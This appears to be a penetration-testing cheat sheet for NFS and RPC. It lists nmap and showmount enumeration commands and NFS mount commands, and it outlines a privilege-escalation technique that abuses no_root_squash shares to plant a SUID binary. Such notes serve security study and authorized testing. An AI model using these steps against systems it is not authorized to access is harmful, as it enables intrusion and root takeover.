08TCP
RPC & NFS
NFS allows systems to access and share files over a network as if they were local. RPC enables programs to execute functions on remote systems, supporting services like NFS through netw communication
01 Basic Enumerations
bash8 lines
## ------------------| Nmap Scansudo nmap --script nfs* -sV -p111,2049 <IP>
## ------------------| List mountsshowmount -e <IP>
## ------------------| List both the client and hostname or IPshowmount -a <IP>02 Mount option
bash5 lines
sudo mkdir -p /mnt/remotesudo mount -t nfs <IP>:/ /mnt/remotesudo mount -t nfs <IP>:/ /mnt/remote -o nolocksudo mount -t nfs <IP>:/site_backups /mnt/remotesudo mount -t nfs <IP>:/site_backups /mnt/remote -o nolock03 Privilege Escalation
bash11 lines
### If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system## ------------------| Check if no_root_squash is present?cat /etc/exports | grep no_root_squash
## ------------------| List mounts and mount it to our local machineshowmount -e <IP>sudo mkdir -p /mnt/newsudo mount -t nfs <IP>:/<WritableShares> /mnt/newsudo mount -t nfs -o vers=2 <IP>:/<WritableShares> /mnt/new
### Create a SUID binary and place it. then execuite it via attackers machine.